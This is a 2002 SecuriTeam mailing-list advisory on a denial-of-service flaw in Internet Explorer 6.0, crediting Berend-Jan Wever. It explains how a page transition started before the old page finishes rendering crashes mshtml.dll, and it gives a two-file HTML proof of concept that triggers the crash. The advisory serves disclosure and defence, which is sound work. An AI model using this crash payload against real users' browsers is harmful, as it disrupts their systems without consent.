[NT] Page Transitions Denial of Service Attack

From: support@securiteam.com
Date: 07/12/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Fri, 12 Jul 2002 20:11:18 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Page Transitions Denial of Service Attack
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SUMMARY

Internet Explorer 6.0 can be made to throw an exception using specially
crafted JavaScript commands and page transitions. Problems arise when a
page transition is activated by a new page when the old page has not been
rendered yet. This situation can occur when JavaScript redirects the
browser before the page is fully rendered.

DETAILS

Example:
The following two pages, called 1.html and 2.html, crash IE with an Access
violation in mshtml.dll when 1.html is loaded into IE.

1.html:
<HTML style="width:expression(navigate('2.html'));"></HTML>

2.html:
<HTML><HEAD><META http-equiv="Page-Enter"
content="blendTrans()"></HEAD></HTML>

Demonstration:
For an online demonstration, see the following web page:
 <http://spoor12.edup.tudelft.nl/SkyLined v4.2/?Advisories/Microsoft
Internet Explorer/Page transition DoS>
http://spoor12.edup.tudelft.nl/SkyLined v4.2/?Advisories/Microsoft
Internet Explorer/Page transition DoS

ADDITIONAL INFORMATION

The information has been provided by <mailto:SkyLined@edup.tudelft.nl>
Berend-Jan Wever.

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